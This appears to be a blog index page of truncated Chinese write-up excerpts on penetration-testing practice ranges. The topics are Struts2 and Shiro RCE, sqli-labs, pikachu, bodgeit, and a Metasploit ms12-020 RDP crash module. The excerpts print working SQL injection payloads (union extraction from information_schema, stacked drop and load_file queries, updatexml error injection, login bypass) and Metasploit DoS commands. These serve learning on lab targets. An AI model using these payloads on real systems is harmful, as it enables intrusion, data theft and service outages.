Apache Struts2远程代码执行漏洞(S2-016)
复现的是墨者的Apache Struts2的靶场,用的工具检测~~ 原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上OGNL表达式会被服务器执行。 漏洞原因:action的值redirect和redirectAction没有正确过滤,导致可以执行任意代码,如系统命令、上传、下载文件等。 Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。 影响版本:Struts 2.0.0 –...
Apache Struts2远程代码执行漏洞(S2-015)
复现的是墨者的Apache Struts2的靶场,用了两种方式,手工和工具检测~~ 漏洞简介:开源应用框架Apache Struts存在远程代码执行漏洞(CVE-2021-31805),攻击者可构造恶意的OGNL表达式触发漏洞,实现远程代码执行。 特征:查看被测应用系统的源码,URL 接口地址以 “.action” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下 的 jar 文件,若存在 struts2-core-2..**.jar 或 xwork-core- 2..**.jar 格式的 jar 文件,则需检测是否存在 Struts2 远程代码执行漏洞。 受影响版本为:Apache Struts...
Apache Shiro 1.2.4反序列化漏洞
前几天复现了一下墨者平台的shiro靶场,本篇文章用的是工具检测的~~ 1、漏洞简述Shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。 2、影响版本Apache Shiro <= 1.2.4 3、Shiro框架识别(1)请求包的cookie中存在rememberMe字段。 (2)返回包中存在set-Cookie:remeberMe=deleteMe。 (3)请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。(有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember...
pikachu靶场
今天传的是前一段时间打的pikachu靶场。 咱就是说,前一段时间,我的github被标记成机器人了。百度了一下,然后给那边发了封邮件,来来回回两次才总算弄好。我还不够勤快嘛,还把我标记了呜呜呜。 1、Burte Force(暴力破解)1.1 基于表单的暴力破解用burp暴力破解,截取到包,然后发送给Intruder(测试器),由于用户名和密码都不知道,所以攻击类型选择Clusterbomb(集中炸弹)模式。在payloads中分别载入用户名和密码的字典。 最后发现用户名为admin,密码为123456。 登录成功会出现如下提示: 1.2 验证码绕过(on...
sql注入知识点详解
打完65关的sql靶场,浅浅地整理了一下关于sql注入的知识点。主要是mysql数据库的。 00x1 MySQL● 字段table_schema记录库名,table_name记录表名,column_name记录字段名 ● 在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面 ● 这个库里面有很多表重点是这三个表 columns 、tables、schemata 12345columns 存储该用户创建的所有数据库的库名、表名和字段名。tables 表字段table_schema 、table_name 分别记录着库名和表名schemata 表字段schema_name 记录着库的信息 00x2 常用函数: version()——MySQL 版本 user()——数据库用户名 database()——数据库名 @@datadir——数据库路径 @@version_compile_os——操作系统版本 00x3 sql注入1、sql注入原理● 参数用户可控 ●...
sqli靶场(54~65关)
最后一个部分啦~ Less-54本关是字符型注入,但是只能尝试十次,这里的表名和密码等是每十次尝试后就强制进行更换。已知数据库名字叫做 challenges。 54.1获取表名123payloay:id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+ 得到表名为2ope75q6zd 54.2获得列名123payload:id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='2ope75q6zd')--+ 得到列名为: 54.3获得密码123payload:id=-1' union select 1,2,(select group_concat(secret_05Z3)...
sqli靶场(38~53关)
第三部分主要是堆叠注入。 前言浅浅地将mysql的堆叠语句列一下。 Stacked injections:堆叠注入堆叠注入:可以执行多条sql语句,语句之间以分号隔开。 堆叠注入实现数据库的增删查改操作: MySQL:(1)新建一个表1Select * from users where id=1;create table test like users; (2)删除表1Select * from users where id=1;drop table test; (3)查询数据1Select * from users where id=1;select 1,2,3; (4)加载文件1Select * from users where id=1;select load_file('C:/1.php'); (5)修改数据1Select * from users where id=1;insert into users(id,username,password)...
sqli靶场(23~37关)
第二部分来啦~~ Less-23 注释符绕过输入1’出现如下报错信息: 1''1'' LIMIT 0,1' at line 1 可猜测源码中可能为’$id’ 当构造id=1’ and ‘1’=’1 时正常,而id=1’ and ‘1’=’1’#或者id=1’ and ‘1’=’1’–+ 时报错,发现是对#和–+等注释符进行了过滤。 注释符绕过只能构造一个单引号来闭合后面的但引号。 利用报错注入:23.1获取数据库用户名123payload:id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1 23.2获取数据库名123payload:id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1 或者使用: 1id=1' and info() and...
sqli靶场(1~22关)
又是疯狂打靶场的一天,这个sqli靶场真的好多关,我之前试过打过几关,没有坚持,但万事开头难,总归是慢慢打完了。 前言第一部分就是union联合注入和盲注。 我这里用的sqli靶场是https://github.com/Audi-1/sqli-labs.git sqli-labs 把第一部分打完,你真的就成功一大半了~ union操作符:UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同 注释:默认地,UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL Limit:Limit是指限定查询的条数。有三种方式: 1方式一:limit 参数1 参数1可从1开始,往后递增,表示要查询几条数据。 例如,limit 1 表示限定查询一条语句。 1方式二:limit...
upload文件上传靶场
...
bodgeit靶场
这两天在学长的引导下,我把bodgeit靶场练习了一下。以下是我练习的一些关卡。 在About Us中的Scoring page中可以查看关卡: 1、利用注入漏洞万能密码登录账号尝试构造万能密码: 1test@thebodgeitstore.com' or '1'='1# 发现登录成功: 可以查看一下源代码,在login.jsp中, 其余两个用户也构造同样的万能密码: 123user1@thebodgeitstore.com' or '1'='1#admin@thebodgeitstore.com' or...
ms12-020-导致对方蓝屏
本篇文章介绍关于msfconsole模块中ms12-020漏洞的解析。 实验背景: 都是在虚拟机下进行的啦,靶机采用的是winxpens3,确保所用的靶机有相关的漏洞才能攻击成功哦。并且攻击机和靶机要处在同一局域网下才行哒,建议开启仅主机模式哦。还有一点,有些命令无效,可能是因为模式为普通用户模式,在命令前面使用sudo就好了,或者切换为root(su root) 实验环境:攻击机:kali ip地址:192.168.127.139 靶机:winxpens3 ip地址:192.168.127.138 ms12-020(导致对方蓝屏)1、配置命令确定靶机的3389端口打开 进入msfconsole,配置如下命令: 1search ms12-020 #查找ms12-020漏洞 查看信息,使用如下,这里因为0已经被修复,所以这里只能使用关于1的,不能使用use 0 1use 1 或者使用如下, 1use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 选择之后,发现提示信息,按照提示信息配置: 1set...